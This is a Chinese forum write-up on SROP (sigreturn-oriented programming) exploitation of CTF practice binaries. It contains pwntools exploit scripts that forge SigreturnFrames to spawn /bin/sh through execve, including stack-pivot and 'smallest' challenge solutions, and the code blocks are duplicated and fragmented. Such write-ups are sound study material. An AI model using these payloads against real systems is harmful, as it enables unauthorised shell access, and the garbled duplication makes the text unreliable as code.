-
-
[原创]SROP
-
发表于: 2022-4-30 19:18 9977
-
小伙伴应该都看了很久的资料吧,其主要意思是通过系统调用来劫持程序流,我也不在这里多逼逼hhh。先说几点要注意的
有read和write系统调用,有栈溢出,可以通过write来泄露/bin/sh地址,这样就方便了很多。
这有gadgets,分别是sigreturn的系统调用号和execve的系统调用号
顾名思义,就是泄露我们输入的数据在栈中的位置
这是最重要的部分,所以我会详细的说一下
这就是构造的frame,当触发sigreturn系统调用后,rax=59,rdi=binsh_addr,rsi=0,rdx=0,rip=0x400501
这样就知道了把,sigreturn系统调用的作用就是恢复之前用户态寄存器的值。
传入payload之后,程序会执行0x4004DA,将rax赋值为15,然后执行0x400501即syscall,程序就会去栈中找到各个寄存器的值并pop到寄存器中,然后执行我们伪造的rip即syscall,达到getshell的目的
这题只有一个read系统调用,这就需要我们去伪造一个sigreturn系统调用然后让其pop给各个寄存器我们伪造的值
第一步在frame中构造栈迁移和read系统调用
传入payload之后,程序执行vuln即重新执行read调用,我们输入14个a之后(我用的sendline,在最后一个a后会有换行符,所以相当于输入15个),rax=15,然后这时候填入栈中的0x40102B就进行了系统调用,pop出各个寄存器的值。此时rip是syscall,rax=0即调用read系统调用。
payload前八位是"\x00",因为执行完syscall(0x40102B),后续会pop rbp,然后ret回vuln函数再进行read系统调用,这个"q"*8是使rax=15,并且使/bin/sh正好在0x402500处。
这题与上题的区别就是,我们需要自己构造rax麻烦一点
这题很经典,我看了大概好几个月,这几个月中看了好几遍,有一个地方一直不太通,今天上午问了漫牛老师,终于明白了,漫牛老师yyds,同时感谢我最爱的琪giegie
下面给出三种exp
这几个月我一直不明白为什么要加p64(0),其实是因为防止调用sigreturn时所伪造的寄存器的值发生改变。
我画个图,这样比较好解释
思路是利用mprotect修改text段权限,传入shellcode
1.
系统调用是内核态所做的事情
2.sigreturn
是系统调用,调用号在
64
位下位
15
(也就是说在没有sigreturn系统调用地址的时候,只有rax
=
15
且具有syscall才能进行sigreturn系统调用)
3.
在写exp的时候,需要写该程序的arch(context.log_level
=
"amd64"
)
1.
系统调用是内核态所做的事情
2.sigreturn
是系统调用,调用号在
64
位下位
15
(也就是说在没有sigreturn系统调用地址的时候,只有rax
=
15
且具有syscall才能进行sigreturn系统调用)
3.
在写exp的时候,需要写该程序的arch(context.log_level
=
"amd64"
)
payload
=
"/bin/sh\x00"
payload
=
payload.ljust(
0x10
,
"\x00"
)
+
p64(
0x4004ed
)
p.send(payload)
p.recv(
0x20
)
binsh_addr
=
u64(p.recv(
8
))
-
280
# 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280
print
"binsh_addr = "
+
hex
(binsh_addr)
payload
=
"/bin/sh\x00"
payload
=
payload.ljust(
0x10
,
"\x00"
)
+
p64(
0x4004ed
)
p.send(payload)
p.recv(
0x20
)
binsh_addr
=
u64(p.recv(
8
))
-
280
# 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280
print
"binsh_addr = "
+
hex
(binsh_addr)
frame
=
SigreturnFrame()
frame.rax
=
59
#constants.SYS_execve
frame.rdi
=
binsh_addr
frame.rsi
=
0
frame.rdx
=
0
frame.rip
=
0x400501
#syscall
frame
=
SigreturnFrame()
frame.rax
=
59
#constants.SYS_execve
frame.rdi
=
binsh_addr
frame.rsi
=
0
frame.rdx
=
0
frame.rip
=
0x400501
#syscall
payload
=
"/bin/sh\x00"
+
p64(
0
)
+
p64(
0x4004DA
)
+
p64(
0x400501
)
+
str
(frame)
#mov rax,15 = 0x4004DA
p.send(payload)
payload
=
"/bin/sh\x00"
+
p64(
0
)
+
p64(
0x4004DA
)
+
p64(
0x400501
)
+
str
(frame)
#mov rax,15 = 0x4004DA
p.send(payload)
frame
=
SigreturnFrame()
#伪造
frame.rax
=
0
frame.rdi
=
0
frame.rsi
=
0x402500
frame.rdx
=
0x300
frame.rip
=
0x40102B
frame.rsp
=
0x402500
frame.rbp
=
0x402500
payload
=
"a"
*
0x18
+
p64(vuln)
+
p64(
0x40102B
)
+
str
(frame)
# syscall = 0x40102B
p.send(payload)
p.sendline(
"a"
*
14
)
#
frame
=
SigreturnFrame()
#伪造
frame.rax
=
0
frame.rdi
=
0
frame.rsi
=
0x402500
frame.rdx
=
0x300
frame.rip
=
0x40102B
frame.rsp
=
0x402500
frame.rbp
=
0x402500
payload
=
"a"
*
0x18
+
p64(vuln)
+
p64(
0x40102B
)
+
str
(frame)
# syscall = 0x40102B
p.send(payload)
p.sendline(
"a"
*
14
)
#
frame
=
SigreturnFrame()
frame.rax
=
59
frame.rdi
=
0x402500
frame.rip
=
0x40102B
frame.rsi
=
0
frame.rdx
=
0
payload
=
"\x00"
*
8
+
p64(vuln)
+
p64(
0x40102b
)
+
str
(frame)
p.sendline(payload)
p.send(
"q"
*
8
+
"/bin/sh"
)
p.interactive()
frame
=
SigreturnFrame()
frame.rax
=
59
frame.rdi
=
0x402500
frame.rip
=
0x40102B
frame.rsi
=
0
frame.rdx
=
0
payload
=
"\x00"
*
8
+
p64(vuln)
+
p64(
0x40102b
)
+
str
(frame)
p.sendline(payload)
p.send(
"q"
*
8
+
"/bin/sh"
)
p.interactive()
from
pwn
import
*
context.log_level
=
"debug"
p
=
process(
"./smallest"
)
context.arch
=
"amd64"
def
g():
gdb.attach(p)
input
()
syscall
=
0x4000BE
main
=
0x4000B0
payload1
=
p64(main)
*
3
p.send(payload1)
p.send(
"\xB3"
)
#rax = 1
stack_addr
=
u64(p.recv()[
8
:
16
])
success(
"stack_addr:"
+
hex
(stack_addr))
frame
=
SigreturnFrame()
frame.rax
=
0
frame.rdi
=
0
frame.rsi
=
stack_addr
frame.rdx
=
0x300
frame.rsp
=
stack_addr
frame.rip
=
syscall
payload2
=
p64(main)
+
p64(
0
)
+
str
(frame)
p.send(payload2)
p.send(p64(syscall)
+
"a"
*
7
)
#rax = 15
frame
=
SigreturnFrame()
frame.rax
=
59
frame.rdi
=
stack_addr
+
0x200
# /bin/sh
frame.rsi
=
0
frame.rdx
=
0
frame.rsp
=
stack_addr
frame.rip
=
syscall
payload3
=
p64(main)
+
p64(
0
)
+
str
(frame)
payload3
=
payload3
+
(
0x200
-
len
(payload3))
*
"a"
+
"/bin/sh\x00"
p.send(payload3)
p.send(p64(syscall)
+
"a"
*
7
)
p.interactive()
from
pwn
import
*
context.log_level
=
"debug"
p
=
process(
"./smallest"
)
context.arch
=
"amd64"
def
g():
gdb.attach(p)
input
()
syscall
=
0x4000BE
main
=
0x4000B0
payload1
=
p64(main)
*
3
p.send(payload1)
p.send(
"\xB3"
)
#rax = 1
stack_addr
=
u64(p.recv()[
8
:
16
])
success(
"stack_addr:"
+
hex
(stack_addr))
frame
=
SigreturnFrame()
frame.rax
=
0
frame.rdi
=
0
frame.rsi
=
stack_addr
frame.rdx
=
0x300
frame.rsp
=
stack_addr
frame.rip
=
syscall
payload2
=
p64(main)
+
p64(
0
)
+
str
(frame)
p.send(payload2)
p.send(p64(syscall)
+
"a"
*
7
)
#rax = 15
frame
=
SigreturnFrame()
frame.rax
=
59
frame.rdi
=
stack_addr
+
0x200
# /bin/sh
frame.rsi
=
0
frame.rdx
=
0
赞赏
- [原创]ByteCTF2022 mobile系列 49873
- qemu逃逸系列 26360
- [原创]UnCrackable Level 2.app 21254
- Xcode和iOS App Signer签名 21779
- [原创]Linux内核学习笔记 13774